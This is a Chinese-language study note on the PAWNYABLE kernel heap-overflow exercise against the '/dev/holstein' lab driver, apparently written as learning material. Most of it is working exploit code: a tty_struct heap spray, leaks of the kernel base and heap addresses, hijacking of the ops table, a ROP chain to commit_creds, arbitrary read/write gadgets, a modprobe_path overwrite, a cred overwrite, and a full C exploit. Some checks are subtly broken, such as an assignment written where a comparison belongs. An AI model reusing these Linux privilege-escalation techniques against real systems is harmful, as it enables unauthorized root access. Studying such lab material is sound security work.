PAWNYABLE kernel heap overflow 笔记
kernel heap 结构
slab 的结构虽然之前看过了好多,但是现在再看还是感觉有点迷糊。大概是 slab 上的块是没有 metadata 的,但是释放的时候和使用的时候状态不同,释放的时候会存指针。不过既然 kernel 修改链表指针的操作不像 ptmalloc 这么多,那就不太细看了(
tty structure 用于泄露地址
本题的堆块申请大小是 0x400,和 tty structure 这个结构体申请的大小一样。大小一样的块物理地址可能相邻,所以溢出的时候可能可以复写到。
size:0x2e0 `kmalloc-1024`
内核基址:可泄露。`ops` 指向的 `ptm_unix98_ops`
heap:可泄露。通过 `dev` 和 `driver`,但是未验证属于哪种 SLUB。
stack:似乎不能泄露。
劫持 RIP:可劫持。重写 `ops` 函数表。
产生:open("/dev/ptmx", O_RDWR | O_NOCTTY)
释放:close()
控制 rip
tty structure 有一个 ops 函数表 _tty_operations_
,可以把这个 ops 改成一个堆的地址?
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
目前位置可以泄露和执行任意一个函数。
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define LEAK_SIZE 0x500
#define ORI_SIZE 0x400
#define SPREAD_SIZE 0x100
#define OPS_SIZE 0x100
uint64_t kbase;
uint64_t buf_addr;
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
int main() {
char leak[LEAK_SIZE];
int tty[SPREAD_SIZE];
for(int i = 0; i < SPREAD_SIZE/2; i++) {
tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
}
int fd = open("/dev/holstein", O_RDWR);
for(int i = 0; i < SPREAD_SIZE/2; i++) {
tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
}
read(fd, leak, LEAK_SIZE);
kbase = *(uint64_t *)(leak + 1048) - 0xc38880;
buf_addr = *(uint64_t *)(leak + 1080) - 0x438;
print_hex("kbase", kbase);
print_hex("buf_addr", buf_addr);
*(uint64_t *)(leak + 1048) = buf_addr;
for(int i = 0; i < ORI_SIZE; i=i+8) {
*(uint64_t *)(leak + i) = 0xaaaaaaa000 + i;
}
write(fd, leak, LEAK_SIZE);
for(int i = 0; i < SPREAD_SIZE; i++) {
ioctl(tty[i], 0xdeadbeef, 0xcafebabe);
}
close(fd);
return 0;
}
跳转到 ROP 所在
现在能够控制 rip,这就需要提前布置 rop 链子,然后跳转过去。咋做呢?需要找一个 mov rsp, rax
类似的 gadget,(寄存器可控)
可以控制的是 r8、r14,rdx,可以控制一半的是 rsi、rcx、r12
RAX: ffffffff9fe319da RBX: ffff9977c1e2fc00 RCX: 0000000011111111
RDX: 0022222222222222 RSI: 0000000011111111 RDI: ffff9977c1e2f800
RBP: ffffb50400187ea8 R08: 0022222222222222 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000011111111
R13: ffff9977c1e2f800 R14: 0022222222222222 R15: ffff9977c1ea8f00
可以这么用正则表达式来匹配。
^(?=.*pop\s+rsp)(?=.*push\s+(r14|r8)).*$
任意读写操作
如果没有 gadget 控制 rsp 导致 rop,那么能不能直接实现任意读写?任意读写的实现通过这种 gadget
0xffffffff810477f7: mov qword ptr [rdx], rcx; ret; // 只是写4个字节
0xffffffff8118a285: mov eax, dword ptr [rdx]; ret; // 任意读, rax 是返回值
怎么找
mov qword ptr \[rdx\], (r8|r14|rdx)
: mov eax, dword ptr \[rdx\]; ret
用这样的 gadget 可以完成每次读取 4 个字节,或者写入 4 个字节
uint32_t aar(uint64_t target) {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
write(fd, leak, LEAK_SIZE);
ioctl(tty[0], 0, target);
}
void aaw(uint64_t target, uint32_t value) {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
write(fd, leak, LEAK_SIZE);
ioctl(tty[0], value, target);
}
modprobe_path 修改
Linux 上多种可执行文件格式并存,当执行具有可执行权限的文件时,根据文件开头的字节序列确定格式。默认情况下,会注册 ELF 文件和 shebang,但是当尝试调用与注册格式不匹配的未知可执行文件时,将使用
__request_module
。modprobe_path
默认为/sbin/modprobe
,如果您重写它并尝试启动格式不正确的可执行文件,您可以执行任意命令。
注意修改的文件里面要加上 #!/bin/sh\n
才能正常找到路径
void aaw(uint64_t target, uint32_t value) {
if (tty_fd == -1) {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
write(fd, leak, LEAK_SIZE);
}
if (tty_fd = -1) {
for (int i = 0; i < SPREAD_SIZE; i++) {
int rv = ioctl(tty[i], value, target);
if (rv != -1) {
tty_fd = i;
}
}
}
ioctl(tty_fd, value, target);
}
void get_flag() {
system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb"); // 这里随便写命令
system("chmod +x /sb");
system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
}
void modify_modprobe_path() {
aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb
get_flag();
}
修改进程的 creds
用 comm 找到 cred structure 然后修改就行
int rw = -1;
uint32_t aar(uint64_t target) {
if (rw != 1) {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
write(fd, leak, LEAK_SIZE);
rw = 1;
}
if (tty_fd = -1) {
for (int i = 0; i < SPREAD_SIZE; i++) {
int rv = ioctl(tty[i], 0, target);
if (rv != -1) {
tty_fd = i;
}
return rv;
}
}
return ioctl(tty_fd, 0, target);
}
void aaw(uint64_t target, uint32_t value) {
if (rw != 2) {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
write(fd, leak, LEAK_SIZE);
rw = 2;
}
if (tty_fd = -1) {
for (int i = 0; i < SPREAD_SIZE; i++) {
int rv = ioctl(tty[i], value, target);
if (rv != -1) {
tty_fd = i;
return ;
}
}
}
ioctl(tty_fd, value, target);
}
void attack_cred() {
prctl(PR_SET_NAME, "giacomo");
for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) {
if(aar(addr) == 0x63616967) {
puts("find comm");
print_hex("addr", addr);
cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8);
print_hex("cred_addr", cred_addr);
}
}
for(uint64_t i = 0; i < 0x20; i += 4) {
aaw(cred_addr + i, 0);
}
system("/bin/sh");
}
此外
一个快速获得 kernel 符号的脚本,extract 然后 vmlinux-to-elf 然后用 pwntools 来找。
from pwn import *
import sys
# get file_name as input
if len(sys.argv) < 2:
print('Usage: python3 symbols.py <file_name>')
exit()
file_name = sys.argv[1]
if not os.path.isfile(file_name):
print(file_name + ' not found!')
exit()
# deal with file
if not os.path.exists('vmlinux_symbol'):
os.system('extract.sh ' + file_name + '> vmlinux')
os.system('vmlinux-to-elf vmlinux vmlinux_symbol')
# get symbols
kbase = 0xffffffff81000000
kernel = ELF('vmlinux_symbol', checksec=False)
commit_creds = kernel.sym['commit_creds'] - kbase
prepare_kernel_cred = kernel.sym['prepare_kernel_cred'] - kbase
swapgs_restore_regs_and_return_to_usermode = kernel.sym['swapgs_restore_regs_and_return_to_usermode'] - kbase
modprobe_path = next(kernel.search(b"/sbin/modprobe\0")) - kbase
print('commit_creds = ' + hex(commit_creds))
print('prepare_kernel_cred: =' + hex(prepare_kernel_cred))
print('swapgs_restore_regs_and_return_to_usermode = ' + hex(swapgs_restore_regs_and_return_to_usermode))
print('modprobe_path = ' + hex(modprobe_path))
if len(sys.argv) > 3:
symbol_name = sys.argv[2]
symbol = kernel.sym[symbol_name] - kbase
print(symbol_name + ' = ' + hex(symbol))
完整 exp
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/prctl.h>
#define LEAK_SIZE 0x500
#define ORI_SIZE 0x400
#define SPREAD_SIZE 0x100
#define OPS_SIZE 0x100
char leak[LEAK_SIZE];
int tty[SPREAD_SIZE];
int fd;
int tty_fd = -1;
int rw = -1;
uint64_t kbase;
uint64_t buf_addr;
uint64_t cred_addr;
uint64_t user_cs, user_ss, user_rflags, user_sp;
// 0xffffffff815f7e60: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop
// r13; pop rbp; ret;
uint64_t gadget = 0x5f7e60;
uint64_t pop_rdi_ret = 0x0d748d;
uint64_t pop_rcx_ret = 0x13c1c4;
uint64_t mov_rdi_rax_ret = 0x62707b;
uint64_t prepare_kernel_cred = 0x74650;
uint64_t commit_creds = 0x744b0;
uint64_t srrartu = 0x800e10 + 22;
uint64_t mov_rdx_rcx = 0x477f7;
uint64_t mov_eax_rdx = 0x18a285;
uint64_t modprobe_path = 0xe38180;
void print_hex(char *name, uint64_t addr) {
printf("%s %" PRIx64 "\n", name, addr);
}
void print_hex32(char *name, uint32_t addr) {
printf("%s %" PRIx32 "\n", name, addr);
}
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void rop() {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_ret + kbase,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
memcpy(leak + 0x80, rop_chain, sizeof(rop_chain));
write(fd, leak, LEAK_SIZE);
for (int i = 0; i < SPREAD_SIZE; i++) {
ioctl(tty[i], buf_addr + 0x70, buf_addr + 0x70);
}
}
uint32_t aar(uint64_t target) {
if (rw != 1) {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
write(fd, leak, LEAK_SIZE);
rw = 1;
}
if (tty_fd = -1) {
for (int i = 0; i < SPREAD_SIZE; i++) {
int rv = ioctl(tty[i], 0, target);
if (rv != -1) {
tty_fd = i;
}
return rv;
}
}
return ioctl(tty_fd, 0, target);
}
void aaw(uint64_t target, uint32_t value) {
if (rw != 2) {
*(uint64_t *)(leak + 1048) = buf_addr;
*(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
write(fd, leak, LEAK_SIZE);
rw = 2;
}
if (tty_fd = -1) {
for (int i = 0; i < SPREAD_SIZE; i++) {
int rv = ioctl(tty[i], value, target);
if (rv != -1) {
tty_fd = i;
return ;
}
}
}
ioctl(tty_fd, value, target);
}
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void leak_addr() {
read(fd, leak, LEAK_SIZE);
kbase = *(uint64_t *)(leak + 1048) - 0xc38880;
buf_addr = *(uint64_t *)(leak + 1080) - 0x438;
print_hex("kbase", kbase);
print_hex("buf_addr", buf_addr);
print_hex("gadget", gadget + kbase);
print_hex("mov_rdx_rcx", mov_rdx_rcx + kbase);
print_hex("modprobe_path", modprobe_path + kbase);
}
void get_flag() {
system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb");
system("chmod +x /sb");
system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
}
void modify_modprobe_path() {
aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb
get_flag();
}
void attack_cred() {
prctl(PR_SET_NAME, "giacomo");
for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) {
if(aar(addr) == 0x63616967) {
puts("find comm");
print_hex("addr", addr);
cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8);
print_hex("cred_addr", cred_addr);
}
}
for(uint64_t i = 0; i < 0x20; i += 4) {
aaw(cred_addr + i, 0);
}
system("/bin/sh");
}
int main() {
save_status();
for (int i = 0; i < SPREAD_SIZE / 2; i++) {
tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
}
fd = open("/dev/holstein", O_RDWR);
for (int i = 0; i < SPREAD_SIZE / 2; i++) {
tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
}
leak_addr();
getchar();
// rop();
// modify_modprobe_path();
attack_cred();
getchar();
close(fd);
return 0;
}